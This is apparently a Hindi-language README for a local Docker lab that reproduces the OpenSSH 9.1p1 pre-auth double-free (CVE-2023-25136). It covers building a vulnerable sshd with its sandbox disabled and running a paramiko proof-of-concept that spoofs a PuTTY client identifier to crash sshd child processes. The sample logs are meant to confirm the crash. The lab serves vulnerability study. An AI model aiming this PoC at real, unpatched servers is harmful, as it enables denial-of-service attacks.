
OpenSSH 9.1p1 के pre-auth double-free भेद्यता (CVE-2023-25136) के लिए न्यूनतम Docker-आधारित पुनरुत्पादन वातावरण, जो एक Python PoC क्लाइंट के माध्यम से मेमोरी करप्शन और सेवा अस्वीकार (DoS) का प्रदर्शन करता है।
यह प्रोजेक्ट एक न्यूनतम स्थानीय प्रयोगशाला वातावरण प्रदान करता है, जिसका उपयोग OpenSSH 9.1p1 प्री-ऑथेंटिकेशन डबल फ्री मेमोरी करप्शन कमज़ोरी (CVE-2023-25136) के पुनरुत्पादन और सर्वर प्रक्रिया क्रैश (DoS) प्रभाव को देखने के लिए किया जाता है।
स्पष्टीकरण: आधिकारिक और मुख्यधारा के विश्लेषणों के अनुसार, इस कमज़ोरी का डिफ़ॉल्ट सुरक्षा कॉन्फ़िगरेशन में "रिमोट कोड निष्पादन के लिए व्यावहारिक रूप से उपयोग करना कठिन" है। यह वातावरण मुख्य रूप से मेमोरी त्रुटि और अस्वीकृति सेवा प्रभाव का प्रदर्शन करने के लिए है।
लक्ष्य (Target):
sshd कॉन्फ़िगर किया गया है--with-sandbox=no का उपयोग करके seccomp सैंडबॉक्स बंद कर दिया गया है22 पोर्ट सुनता है, जो बाहरी रूप से होस्ट मशीन (WSL) पर 2222 पोर्ट पर मैप किया गया हैहमलावर (Attacker):
paramikoनिर्देशिका संरचना:
Dockerfile: OpenSSH 9.1p1 कमज़ोरी वातावरण की छवि बनाने के लिएpoc.py: न्यूनतम PoC क्लाइंट, प्री-ऑथेंटिकेशन चरण में double free ट्रिगर करने के लिएइस निर्देशिका में निम्नलिखित कार्य करने से पहले सुनिश्चित करें:
pip स्थापित हैंइस निर्देशिका में निष्पादित करें:
docker build -t sshd-9.1p1-vuln .
docker run --rm -d --name sshd-vuln -p 2222:22 sshd-9.1p1-vuln
स्पष्टीकरण:
--rm: कंटेनर बाहर निकलने पर स्वचालित रूप से हटा दिया जाता है--name sshd-vuln: कंटेनर का नाम-p 2222:22: कंटेनर के अंदर 22 पोर्ट को होस्ट पर 2222 पोर्ट पर मैप करता हैdocker ps
इसके समान दिखना चाहिए:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxx sshd-9.1p1-vuln "/usr/sbin/sshd -D…" Up ... 0.0.0.0:2222->22/tcp
इस निर्देशिका में निष्पादित करें:
pip install paramiko
poc.py paramiko.Transport का उपयोग करता है, लक्ष्य SSH सर्वर के साथ स्वचालित रूप से कनेक्शन स्थापित करता है, और प्री-ऑथेंटिकेशन चरण में क्लाइंट आइडेंटिफ़ायर को नकली बनाकर double free को ट्रिगर करने का प्रयास करता है।
मुख्य विशेषताएँ:
127.0.0.1:2222 (यानी, स्थानीय Docker कंटेनर)SSH-2.0-PuTTY_Release_0.64-t/--target: लक्ष्य IP (डिफ़ॉल्ट 127.0.0.1)-p/--port: लक्ष्य पोर्ट (डिफ़ॉल्ट 2222)-c/--client-id: नकली SSH क्लाइंट आइडेंटिफ़ायर--timeout: टाइमआउट (सेकंड)-v/--verbose: विस्तृत त्रुटि जानकारी आउटपुट करेंसुनिश्चित करें कि कंटेनर sshd-vuln पहले से प्रारंभ है, फिर इस निर्देशिका में निष्पादित करें:
python3 poc.py
या पैरामीटर स्पष्ट रूप से निर्दिष्ट करें:
python3 poc.py -t 127.0.0.1 -p 2222 -v
क्लाइंट आउटपुट का अपेक्षित उदाहरण:
==============================================
CVE-2023-25136 OpenSSH Pre-Auth Double Free
Minimal PoC Client
==============================================
[2024-xx-xx xx:xx:xx] Target: 127.0.0.1:2222, ClientID: SSH-2.0-PuTTY_Release_0.64
[+] Sending crafted pre-auth handshake...
[-] Authentication failed or connection closed early.
कृपया सर्वर sshd लॉग में देखें कि क्या 'free(): double free detected' जैसी जानकारी दिखाई देती है, यह पुष्टि करने के लिए कि CVE-2023-25136 ट्रिगर हुआ है या नहीं।
स्पष्टीकरण:
Authentication failed या connection closed दिखना अपेक्षित व्यवहार है, क्योंकि सर्वर प्री-ऑथेंटिकेशन उपप्रक्रिया प्रसंस्करण के दौरान क्रैश हो सकती है या कनेक्शन बंद कर सकती है।PoC चलाने के बाद, होस्ट पर कंटेनर लॉग देखें:
docker logs sshd-vuln
अपेक्षित आउटपुट इस प्रकार दिखेगा:
Server listening on 0.0.0.0 port 22.
Server listening on :: port 22.
Invalid user from 172.17.0.1 port xxxxx
free(): double free detected in tcache 2
जहाँ:
Invalid user: चूंकि PoC खाली उपयोगकर्ता नाम का उपयोग करता है, OpenSSH अमान्य उपयोगकर्ता प्रयास रिकॉर्ड करता हैfree(): double free detected in tcache 2: glibc द्वारा double free का पता लगाया गया और वर्तमान sshd उपप्रक्रिया समाप्त कर दी गई, यह वह मेमोरी भ्रष्टाचार/DoS घटना है जिसे इस प्रयोग में देखा जाना हैध्यान दें: इस पंक्ति को देखने में सक्षम होने के लिए, हमने OpenSSH बनाते समय seccomp सैंडबॉक्स बंद कर दिया (
--with-sandbox=no), अन्यथा सैंडबॉक्स double free से पहले असामान्य व्यवहार को रोक सकता है और उपप्रक्रिया को सीधे समाप्त कर सकता है।
sshd प्रक्रिया बाद के कनेक्शनों के लिए नई उपप्रक्रियाएँ उत्पन्न करती रहेगी।